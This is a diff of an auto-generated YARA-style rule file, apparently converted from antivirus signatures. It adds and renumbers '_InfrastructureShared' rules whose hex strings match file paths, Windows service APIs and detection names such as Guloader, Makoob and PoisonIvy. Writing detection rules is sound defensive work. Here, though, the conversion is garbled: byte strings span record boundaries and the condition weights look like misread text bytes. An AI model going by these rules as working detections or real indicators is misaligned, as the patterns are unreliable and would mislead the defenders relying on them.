5c 65 6c 65 6f 6e 6f 72 61 5c 6f 76 65 72 68 75 72 72 79 5c 73 74 61 62 6c 65 6d 65 61 6c 5c 01 00 24 81 01 5c 64 69 73 74 72 61 69 6e 6f 72 } //28515 - $a_72_18 = {65 61 75 78 65 72 73 5c 44 69 73 73 65 72 6e 65 2e 74 75 6d 01 00 3d 81 01 5c 61 6e 61 6c 79 74 69 63 61 6c 6c 79 5c 48 6a 73 70 6e 64 69 6e 67 73 61 6e 6c 67 67 65 74 73 38 38 5c 6b 69 6b 6b 65 72 65 73 5c 52 65 63 65 6e 73 65 72 65 73 31 37 35 2e 70 69 61 01 00 20 81 01 53 6f 66 74 77 61 72 65 5c 67 65 72 74 72 75 64 65 5c 6d 79 } //25180 - $a_74_19 = {63 69 76 6f 72 61 5c 01 00 39 81 01 5c 62 72 6f 6d 6f 75 73 5c 61 67 67 6c 75 74 69 6e 65 72 69 6e 67 5c 65 6e 72 61 63 65 5c 45 6b 73 70 6f 72 74 6d 61 72 6b 65 64 65 72 5c 72 65 67 61 6e 67 73 2e 74 61 73 01 00 16 81 01 5c 4f 6c 69 67 6f 73 79 6e 74 68 65 74 69 63 32 31 30 2e 65 70 69 01 00 17 81 01 5c 66 6f 6e 64 73 62 65 73 74 79 72 65 6c } //26994 - $a_6e_20 = {2e 55 6e 63 01 00 2c 81 01 5c 74 69 6c 62 65 64 74 65 5c 6f 76 65 72 63 6f 6e 74 72 61 63 74 5c 47 72 61 65 6e 73 65 70 72 6f 76 69 6e 73 36 5c 2a 2e 75 72 65 01 00 58 81 01 25 61 62 73 75 72 64 69 74 65 74 65 72 6e 65 73 25 5c 69 6e 70 6f 6c 79 67 6f 6e 5c 73 6a 61 74 74 65 6e 73 5c 64 65 6e 73 69 74 65 74 73 5c 61 62 69 64 65 73 5c 6d 79 } //25971 - $a_79_21 = {65 74 65 5c 74 69 64 6f 62 62 65 6c 74 65 5c 67 61 64 65 75 6f 72 64 65 6e 65 6e 01 00 36 81 01 5c 75 64 76 69 6b 6c 69 6e 67 65 6e 5c 61 67 65 72 73 76 6f 6c 64 5c 43 6c 61 73 74 5c 73 69 66 61 6b 61 5c 43 68 61 74 74 65 72 61 74 69 6f 6e 5c 6b 72 76 65 73 00 00 78 9c 02 00 0d 00 0d 00 0d 00 21 23 48 53 54 52 3a 57 69 6e 33 } //28515 - $a_75_22 = {6f 61 64 65 72 2e 4b 4e 4e 44 31 32 33 21 4d 54 42 00 01 00 27 81 01 53 6f 66 74 77 61 72 65 5c 63 68 69 6c 64 6d 69 6e 64 65 72 5c 67 72 61 6d 69 6e 65 61 65 5c 55 62 69 71 75 69 73 74 01 00 37 81 01 53 6f 66 74 } //12082 - $a_65_23 = {66 6f 64 72 69 6e 67 65 6e 5c 53 79 6c 74 65 6b 72 75 6b 6b 65 72 73 5c 46 72 69 74 69 64 73 73 79 73 6c 65 72 5c 56 65 73 74 75 72 65 72 01 00 3e 81 01 38 38 5c 6d 69 73 63 68 69 65 76 6f 75 73 6e 65 73 73 65 73 5c 70 72 65 67 61 6c 76 61 6e 69 73 65 5c 48 6f 73 65 73 5c 66 65 72 73 6b 76 61 6e 64 73 66 69 73 6b 65 72 69 65 72 6e 65 73 01 } //24951 + $a_75_8 = {53 69 6c 65 6e 74 45 78 70 6c 6f 69 74 2e 64 6f 63 01 00 14 01 59 6f 75 72 4d 61 63 72 6f 45 78 70 6c 6f 69 74 2e 64 6f 63 00 00 78 9c 02 00 05 00 05 00 14 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 6b 6f 6f 62 2e 41 53 4e 21 4d 54 42 00 01 00 24 01 61 6c 62 79 6e 5c 55 6e 69 6e 73 74 61 6c 6c 5c 47 72 61 } //22785 + $a_6c_9 = {77 65 72 5c 66 6c 61 63 6b 65 72 79 01 00 0c 01 4d 69 73 79 6f 6b 65 64 2e 53 68 61 01 00 12 01 54 68 69 78 6f 74 72 6f 70 69 63 32 33 31 2e 74 78 74 01 00 10 01 75 6e 63 6f 6c 6f 6e 69 7a 69 6e 67 2e 6c 6e 6b 01 00 14 01 69 6d 70 72 69 6d 65 5c 43 68 61 72 74 65 6b 73 2e 62 69 6e 01 00 11 01 63 79 6b 65 } //29555 + $a_64_10 = {53 6c 6f 62 2e 65 78 65 01 00 2a 01 43 61 72 64 69 61 72 63 74 69 61 5c 69 6e 66 69 6c 74 72 65 72 69 6e 67 65 72 73 5c 69 6e 63 6f 6d 6d 65 6e 73 75 72 61 74 65 01 00 1a 01 53 65 6d 69 66 65 72 61 6c 35 37 5c 73 61 75 74 65 72 69 6e 67 73 2e 69 6e 69 01 00 21 01 62 75 6c 6b 69 73 68 5c 42 72 6b 6b 65 73 37 37 5c 63 6f 6e 67 72 65 67 61 74 69 6f 6e } //25196 + $a_79_11 = {00 15 01 4d 61 64 6f 6e 6e 61 61 6e 73 69 67 74 73 31 36 31 2e 74 78 74 01 00 17 81 01 4c 61 6e 64 73 6b 61 62 73 61 72 6b 69 74 65 6b 74 65 6e 2e 69 6e 69 01 00 25 81 01 43 72 61 67 73 6d 61 6e 5c 41 66 62 72 6e 64 69 6e 67 65 72 6e 65 5c 4d 6f 6c 65 73 74 65 72 69 6e 67 65 6e 73 01 00 0e 81 01 73 74 61 6d 68 75 73 65 6e } //27745 + $a_75_12 = {01 00 13 81 01 6e 6f 6e 61 62 73 6f 6c 75 74 65 6e 65 73 73 2e 69 6e 69 01 00 31 81 01 45 72 6f 64 65 72 65 64 65 5c 6c 79 72 69 6b 65 72 6e 65 73 5c 44 69 73 70 6f 73 69 74 69 6f 6e 73 6e 75 6d 6d 65 72 65 72 69 6e 67 65 72 6e 65 73 01 00 2a 81 01 6b 6f 6d 70 65 74 65 6e 63 65 6f 6d 72 61 61 64 65 72 73 5c 6d 69 6c 71 75 65 74 6f 61 73 74 73 5c 74 } //11877 + $a_6b_13 = {6e 65 73 01 00 2c 81 01 64 61 74 6f 6d 72 6b 6e 69 6e 67 65 72 6e 65 5c 66 6f 72 6d 69 64 64 61 67 73 6b 61 66 66 65 6e 5c 73 70 6e 64 68 6f 6c 74 65 74 73 01 00 16 81 01 66 6f 72 6c 79 73 74 65 6c 73 65 73 6c 69 76 65 74 73 2e 74 72 61 01 00 13 81 01 63 6c 61 64 6f 73 65 6c 61 63 68 69 64 61 65 2e 53 68 75 01 00 19 81 } //25962 + $a_69_14 = {6c 65 6c 69 6e 69 65 73 5c 64 65 6c 73 74 61 74 73 2e 7a 69 70 00 00 78 9c 02 00 07 00 07 00 09 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 50 6f 69 73 6f 6e 49 76 79 5f 53 61 6d 70 6c 65 5f 41 50 54 5f 34 00 01 00 6e 03 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 53 00 6f 00 } //29441 + $a_00_15 = {77 00 61 00 72 00 65 00 20 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 61 00 74 00 69 00 6f 00 6e 00 20 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 28 03 69 64 6c 6c 2e 64 6c 6c 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 } //102 + $a_2d_16 = {30 2d 39 90 00 01 00 32 03 6d 00 67 00 6d 00 74 00 73 00 2e 00 64 00 6c 00 6c 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 4e 03 4d 00 } //31277 + $a_00_17 = {72 00 6f 00 73 00 6f 00 66 00 74 00 28 00 52 00 29 00 20 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 28 00 52 00 29 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 2b 03 53 65 72 76 69 63 65 4d 61 69 6e 90 19 01 09 61 2d 7a 41 2d 5a 30 2d } //105 + $a_01_18 = {00 90 19 01 09 61 2d 7a 41 } //-28615 + $a_2d_19 = {90 00 01 00 5a 03 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 20 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 61 00 74 00 69 00 6f 00 6e 00 } //23085 + $a_00_20 = {65 00 72 00 76 00 69 00 63 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 30 03 53 65 74 53 65 72 76 69 63 65 53 74 61 74 75 73 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 } //32 + $a_2d_21 = {41 2d 5a 30 2d 39 90 00 01 00 40 03 4f 00 72 00 69 00 67 00 69 00 6e 00 61 00 6c 00 46 00 69 00 6c 00 65 00 6e 00 61 00 6d 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 37 03 5a 77 53 65 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 50 } //2305 + $a_65_22 = {73 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 00 00 78 9c 02 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4e 4e 4e 31 32 33 21 4d 54 42 00 01 00 24 81 01 5c 6e 79 68 65 64 73 62 72 65 76 65 6e 65 5c } //28530 + $a_63_23 = {69 66 69 63 61 74 69 6f 6e 73 5c 2a 2e 73 65 6c 01 00 3f 81 01 5c 6d 69 6e 69 73 75 62 5c 4e 61 72 72 65 73 74 72 65 67 5c 66 72 61 6e 63 6f 69 73 5c 49 6d 70 61 72 74 69 6e 67 5c 63 79 61 6e 61 75 72 61 74 65 5c 61 75 73 74 72 6f 70 68 69 6c 69 73 6d 01 00 32 81 01 53 6f 66 74 77 61 72 65 5c 46 61 73 74 65 72 65 31 37 38 5c 65 6c 65 6f 6e 6f 72 61 } //29286 condition: - ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*8292+(#a_6f_2 & 1)*28792+(#a_20_3 & 1)*28521+(#a_74_4 & 1)*26625+(#a_62_5 & 1)*267+(#a_66_6 & 1)*263+(#a_00_7 & 1)*26212+(#a_75_8 & 1)*22785+(#a_00_9 & 1)*111+(#a_2d_10 & 1)*31277+(#a_41_11 & 1)*11568+(#a_30_12 & 1)*300+(#a_2c_13 & 1)*2+(#a_5a_14 & 1)*16697+(#a_41_15 & 1)*11617+(#a_41_16 & 1)*11617+(#a_73_17 & 1)*28515+(#a_72_18 & 1)*25180+(#a_74_19 & 1)*26994+(#a_6e_20 & 1)*25971+(#a_79_21 & 1)*28515+(#a_75_22 & 1)*12082+(#a_65_23 & 1)*24951) >=2 + ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*8292+(#a_6f_2 & 1)*28792+(#a_20_3 & 1)*28521+(#a_74_4 & 1)*26625+(#a_62_5 & 1)*267+(#a_66_6 & 1)*263+(#a_00_7 & 1)*26212+(#a_75_8 & 1)*22785+(#a_6c_9 & 1)*29555+(#a_64_10 & 1)*25196+(#a_79_11 & 1)*27745+(#a_75_12 & 1)*11877+(#a_6b_13 & 1)*25962+(#a_69_14 & 1)*29441+(#a_00_15 & 1)*102+(#a_2d_16 & 1)*31277+(#a_00_17 & 1)*105+(#a_01_18 & 1)*-28615+(#a_2d_19 & 1)*23085+(#a_00_20 & 1)*32+(#a_2d_21 & 1)*2305+(#a_65_22 & 1)*28530+(#a_63_23 & 1)*29286) >=2 } -rule _InfrastructureShared_20131{ +rule _InfrastructureShared_21346{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 14 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 6b 6f 6f 62 2e 41 53 4e 21 4d 54 42 00 01 00 24 01 61 6c 62 79 6e 5c 55 6e 69 6e 73 74 61 6c 6c 5c 47 72 61 73 73 66 6c 6f 77 65 72 5c 66 6c 61 63 6b 65 72 79 01 00 0c 01 4d 69 73 79 6f 6b 65 64 2e 53 } //18467 + $a_00_1 = {12 } //24936 + $a_69_2 = {6f 74 72 6f 70 69 63 32 33 31 2e 74 78 74 01 00 10 01 75 6e 63 6f 6c 6f 6e 69 7a 69 6e 67 2e 6c 6e 6b 01 00 14 01 69 6d 70 72 69 6d 65 5c 43 68 61 72 74 65 6b 73 2e 62 69 6e 01 00 11 01 63 79 6b 65 6c 62 75 64 5c 53 6c 6f 62 2e 65 78 65 01 00 2a 01 43 61 72 64 69 61 72 63 74 69 61 5c 69 6e 66 69 6c 74 72 65 72 } //21505 + $a_65_3 = {73 5c 69 6e 63 6f 6d 6d 65 6e 73 75 72 61 74 65 01 00 1a 01 53 65 6d 69 66 65 72 61 6c 35 37 5c 73 61 75 74 65 72 69 6e 67 73 2e 69 6e 69 01 00 21 01 62 75 6c 6b 69 73 68 5c 42 72 6b 6b 65 73 37 37 5c 63 6f 6e 67 72 65 67 61 74 69 6f 6e 61 6c 6c 79 01 00 15 01 4d 61 64 6f 6e 6e 61 61 6e 73 69 67 74 73 31 36 } //28265 + $a_78_4 = {01 00 17 81 01 4c 61 6e 64 73 6b 61 62 73 61 72 6b 69 74 65 6b 74 65 6e 2e 69 6e 69 01 00 25 81 01 43 72 61 67 73 6d 61 6e 5c 41 66 62 72 6e 64 69 6e 67 65 72 6e 65 5c 4d 6f 6c 65 73 74 65 72 69 6e 67 65 6e 73 01 00 0e 81 01 73 74 61 6d 68 75 73 65 6e 65 2e 75 75 64 01 00 13 81 01 6e 6f 6e 61 62 73 6f 6c 75 74 65 6e 65 73 73 2e 69 6e 69 01 00 31 } //11825 + $a_72_5 = {64 65 72 65 64 65 5c 6c 79 72 69 6b 65 72 6e 65 73 5c 44 69 73 70 6f 73 69 74 69 6f 6e 73 6e 75 6d 6d 65 72 65 72 69 6e 67 65 72 6e 65 73 01 00 2a 81 01 6b 6f 6d 70 65 74 65 6e 63 65 6f 6d 72 61 61 64 65 72 } //385 + $a_69_6 = {71 75 65 74 6f 61 73 74 73 5c 74 6a 65 6b 6b 65 6e 65 73 01 00 2c 81 01 64 61 74 6f 6d 72 6b 6e 69 6e 67 65 72 6e 65 5c 66 6f 72 6d 69 64 64 61 67 73 6b 61 66 66 65 6e 5c 73 70 6e 64 68 6f 6c 74 65 74 73 01 00 16 81 01 66 6f 72 6c 79 73 74 65 6c 73 65 73 6c 69 76 65 74 73 2e 74 72 61 01 00 13 81 01 63 6c 61 64 6f 73 65 6c 61 } //23667 + $a_64_7 = {65 2e 53 68 75 01 00 19 81 01 73 6b 69 6c 6c 65 6c 69 6e 69 65 73 5c 64 65 6c 73 74 61 74 73 2e 7a 69 70 00 00 78 9c 02 00 07 00 07 00 09 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 50 6f 69 73 6f 6e 49 76 79 5f 53 61 6d 70 6c 65 5f 41 50 54 5f 34 00 01 00 6e 03 4d 00 69 00 63 00 72 00 } //26723 + $a_00_8 = {6f 00 66 00 74 00 20 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 20 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 61 00 74 00 69 00 6f 00 6e 00 20 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 28 03 69 64 6c 6c 2e 64 6c 6c 90 19 01 09 61 } //111 + $a_2d_9 = {30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 32 03 6d 00 67 00 6d 00 74 00 73 00 2e 00 64 00 6c 00 6c 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 } //31277 + $a_41_10 = {5a 61 2d 7a 90 00 01 00 4e 03 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 28 00 52 00 29 00 20 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 28 00 52 00 29 00 90 } //11568 + $a_30_11 = {39 41 2d 5a 61 2d 7a 90 09 } //300 + $a_2c_12 = {09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 2b 03 53 65 72 76 69 63 65 4d 61 69 6e 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 5a 03 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 20 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 61 00 74 00 69 00 6f 00 6e 00 20 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d } //2 + $a_5a_13 = {2d 7a 90 00 01 00 30 03 53 65 74 53 65 72 76 69 63 65 53 74 61 74 75 73 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 } //16697 + $a_41_14 = {5a 30 2d 39 90 00 01 00 40 03 4f 00 72 00 69 00 67 00 69 00 6e 00 61 00 6c 00 46 00 69 00 6c 00 65 00 6e 00 61 00 6d 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 37 03 5a 77 53 65 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 50 72 6f 63 65 73 73 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 } //11617 + $a_41_15 = {5a 30 2d 39 90 00 00 00 78 9c 02 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4e 4e 4e 31 32 33 21 4d 54 42 00 01 00 24 81 01 5c 6e 79 68 65 64 73 62 72 65 76 65 6e 65 5c 66 72 75 63 74 69 66 69 63 61 74 69 6f 6e 73 5c 2a 2e 73 65 6c 01 00 3f 81 01 5c 6d 69 6e 69 73 75 62 5c 4e 61 72 72 65 73 74 72 65 67 5c 66 72 61 6e } //11617 + $a_73_16 = {49 6d 70 61 72 74 69 6e 67 5c 63 79 61 6e 61 75 72 61 74 65 5c 61 75 73 74 72 6f 70 68 69 6c 69 73 6d 01 00 32 81 01 53 6f 66 74 77 61 72 65 5c 46 61 73 74 65 72 65 31 37 38 5c 65 6c 65 6f 6e 6f 72 61 5c 6f 76 65 72 68 75 72 72 79 5c 73 74 61 62 6c 65 6d 65 61 6c 5c 01 00 24 81 01 5c 64 69 73 74 72 61 69 6e 6f 72 } //28515 + $a_72_17 = {65 61 75 78 65 72 73 5c 44 69 73 73 65 72 6e 65 2e 74 75 6d 01 00 3d 81 01 5c 61 6e 61 6c 79 74 69 63 61 6c 6c 79 5c 48 6a 73 70 6e 64 69 6e 67 73 61 6e 6c 67 67 65 74 73 38 38 5c 6b 69 6b 6b 65 72 65 73 5c 52 65 63 65 6e 73 65 72 65 73 31 37 35 2e 70 69 61 01 00 20 81 01 53 6f 66 74 77 61 72 65 5c 67 65 72 74 72 75 64 65 5c 6d 79 } //25180 + $a_74_18 = {63 69 76 6f 72 61 5c 01 00 39 81 01 5c 62 72 6f 6d 6f 75 73 5c 61 67 67 6c 75 74 69 6e 65 72 69 6e 67 5c 65 6e 72 61 63 65 5c 45 6b 73 70 6f 72 74 6d 61 72 6b 65 64 65 72 5c 72 65 67 61 6e 67 73 2e 74 61 73 01 00 16 81 01 5c 4f 6c 69 67 6f 73 79 6e 74 68 65 74 69 63 32 31 30 2e 65 70 69 01 00 17 81 01 5c 66 6f 6e 64 73 62 65 73 74 79 72 65 6c } //26994 + $a_6e_19 = {2e 55 6e 63 01 00 2c 81 01 5c 74 69 6c 62 65 64 74 65 5c 6f 76 65 72 63 6f 6e 74 72 61 63 74 5c 47 72 61 65 6e 73 65 70 72 6f 76 69 6e 73 36 5c 2a 2e 75 72 65 01 00 58 81 01 25 61 62 73 75 72 64 69 74 65 74 65 72 6e 65 73 25 5c 69 6e 70 6f 6c 79 67 6f 6e 5c 73 6a 61 74 74 65 6e 73 5c 64 65 6e 73 69 74 65 74 73 5c 61 62 69 64 65 73 5c 6d 79 } //25971 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*24936+(#a_69_2 & 1)*21505+(#a_65_3 & 1)*28265+(#a_78_4 & 1)*11825+(#a_72_5 & 1)*385+(#a_69_6 & 1)*23667+(#a_64_7 & 1)*26723+(#a_00_8 & 1)*111+(#a_2d_9 & 1)*31277+(#a_41_10 & 1)*11568+(#a_30_11 & 1)*300+(#a_2c_12 & 1)*2+(#a_5a_13 & 1)*16697+(#a_41_14 & 1)*11617+(#a_41_15 & 1)*11617+(#a_73_16 & 1)*28515+(#a_72_17 & 1)*25180+(#a_74_18 & 1)*26994+(#a_6e_19 & 1)*25971) >=5 + +} +rule _InfrastructureShared_21347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " @@ -253878,7 +269024,7 @@ rule _InfrastructureShared_20131{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*114+(#a_19_2 & 1)*1+(#a_00_3 & 1)*31277+(#a_74_4 & 1)*21251+(#a_41_5 & 1)*11568+(#a_30_6 & 1)*11585+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1) >=7 } -rule _InfrastructureShared_20132{ +rule _InfrastructureShared_21348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -253899,7 +269045,7 @@ rule _InfrastructureShared_20132{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*24910+(#a_6e_2 & 1)*24946+(#a_72_3 & 1)*26460+(#a_2e_4 & 1)*12594+(#a_6e_5 & 1)*25458+(#a_64_6 & 1)*28533+(#a_77_7 & 1)*26223+(#a_70_8 & 1)*29541+(#a_65_9 & 1)*9473+(#a_73_10 & 1)*11831+(#a_75_11 & 1)*30049) >=12 } -rule _InfrastructureShared_20133{ +rule _InfrastructureShared_21349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -253921,7 +269067,7 @@ rule _InfrastructureShared_20133{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*25970+(#a_61_2 & 1)*27507+(#a_64_3 & 1)*30313+(#a_00_4 & 1)*28257+(#a_67_5 & 1)*385+(#a_6b_6 & 1)*28524+(#a_75_7 & 1)*10280+(#a_48_8 & 1)*8448+(#a_6f_9 & 1)*28704+(#a_01_10 & 1)*20+(#a_01_11 & 1)*20+(#a_01_12 & 1)*20) >=13 } -rule _InfrastructureShared_20134{ +rule _InfrastructureShared_21350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 16 00 21 " @@ -253948,7 +269094,7 @@ rule _InfrastructureShared_20134{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*8301+(#a_69_3 & 1)*25649+(#a_6d_4 & 1)*29806+(#a_69_5 & 1)*11891+(#a_37_6 & 1)*25159+(#a_65_7 & 1)*25449+(#a_45_8 & 1)*21076+(#a_00_10 & 1)*100+(#a_00_11 & 1)*46+(#a_00_12 & 1)*123+(#a_00_14 & 1)*119+(#a_00_15 & 1)*122+(#a_02_17 & 1)*115+(#a_48_18 & 1)*8448+(#a_41_19 & 1)*29797+(#a_69_20 & 1)*25665+(#a_52_21 & 1)*29281) >=22 } -rule _InfrastructureShared_20135{ +rule _InfrastructureShared_21351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0e 00 21 " @@ -253968,7 +269114,7 @@ rule _InfrastructureShared_20135{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*111+(#a_00_4 & 1)*101+(#a_00_5 & 1)*112+(#a_00_7 & 1)*109+(#a_77_8 & 1)*25695+(#a_64_9 & 1)*29990+(#a_55_10 & 1)*28265+(#a_74_11 & 1)*27244+(#a_73_12 & 1)*25458+(#a_48_13 & 1)*29537) >=8 } -rule _InfrastructureShared_20136{ +rule _InfrastructureShared_21352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 15 00 21 " @@ -253997,7 +269143,7 @@ rule _InfrastructureShared_20136{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*11849+(#a_6d_2 & 1)*16756+(#a_61_3 & 1)*17153+(#a_2e_4 & 1)*25458+(#a_73_5 & 1)*29230+(#a_6f_7 & 1)*16897+(#a_25_8 & 1)*-32451+(#a_65_9 & 1)*28257+(#a_74_10 & 1)*26990+(#a_65_11 & 1)*29797+(#a_68_12 & 1)*25922+(#a_6f_13 & 1)*28526+(#a_65_14 & 1)*29293+(#a_52_15 & 1)*29554+(#a_61_16 & 1)*25936+(#a_6d_17 & 1)*30059+(#a_75_18 & 1)*26209+(#a_65_19 & 1)*28277+(#a_64_20 & 1)*29557) >=21 } -rule _InfrastructureShared_20137{ +rule _InfrastructureShared_21353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -254018,7 +269164,7 @@ rule _InfrastructureShared_20137{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29285+(#a_65_2 & 1)*24940+(#a_01_3 & 1)*24936+(#a_61_4 & 1)*23587+(#a_6d_5 & 1)*29557+(#a_73_6 & 1)*27750+(#a_5c_7 & 1)*283+(#a_55_8 & 1)*29541+(#a_22_9 & 1)*24915+(#a_6e_10 & 1)*28001+(#a_73_11 & 1)*25970) >=12 } -rule _InfrastructureShared_20138{ +rule _InfrastructureShared_21354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -254040,7 +269186,7 @@ rule _InfrastructureShared_20138{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25193+(#a_67_2 & 1)*27749+(#a_73_3 & 1)*17500+(#a_6f_4 & 1)*28271+(#a_55_5 & 1)*25701+(#a_75_6 & 1)*26995+(#a_63_7 & 1)*24948+(#a_50_8 & 1)*24942+(#a_41_9 & 1)*28493+(#a_69_10 & 1)*26990+(#a_00_12 & 1)*90+(#a_00_13 & 1)*82) >=15 } -rule _InfrastructureShared_20139{ +rule _InfrastructureShared_21355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 21 " @@ -254065,7 +269211,7 @@ rule _InfrastructureShared_20139{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*29793+(#a_65_2 & 1)*11885+(#a_5f_3 & 1)*25445+(#a_65_4 & 1)*26988+(#a_00_5 & 1)*90+(#a_00_6 & 1)*82+(#a_00_8 & 1)*108+(#a_00_10 & 1)*99+(#a_01_11 & 1)*1280+(#a_61_12 & 1)*11891+(#a_65_13 & 1)*11886+(#a_65_14 & 1)*29301+(#a_76_15 & 1)*28013+(#a_72_16 & 1)*28271+(#a_64_17 & 1)*24948) >=18 } -rule _InfrastructureShared_20140{ +rule _InfrastructureShared_21356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 1a 00 21 " @@ -254098,7 +269244,7 @@ rule _InfrastructureShared_20140{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*46+(#a_01_3 & 1)*3072+(#a_09_4 & 1)*267+(#a_6f_5 & 1)*25970+(#a_73_6 & 1)*29793+(#a_75_7 & 1)*385+(#a_32_8 & 1)*13361+(#a_6e_9 & 1)*25959+(#a_5c_10 & 1)*28274+(#a_79_11 & 1)*25956+(#a_67_12 & 1)*26994+(#a_6d_13 & 1)*9473+(#a_63_14 & 1)*21084+(#a_61_15 & 1)*26994+(#a_6d_16 & 1)*29804+(#a_72_17 & 1)*25721+(#a_5c_18 & 1)*26996+(#a_77_19 & 1)*26223+(#a_73_20 & 1)*30066+(#a_01_21 & 1)*-28558+(#a_61_22 & 1)*12146+(#a_75_23 & 1)*28781+(#a_74_24 & 1)*17503) >=26 } -rule _InfrastructureShared_20141{ +rule _InfrastructureShared_21357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -254118,7 +269264,7 @@ rule _InfrastructureShared_20141{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*30309+(#a_67_2 & 1)*29296+(#a_72_3 & 1)*25708+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_9f_8 & 1)*0+(#a_64_9 & 1)*24914+(#a_74_10 & 1)*27765) >=11 } -rule _InfrastructureShared_20142{ +rule _InfrastructureShared_21358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -254142,7 +269288,7 @@ rule _InfrastructureShared_20142{ ((#a_54_0 & 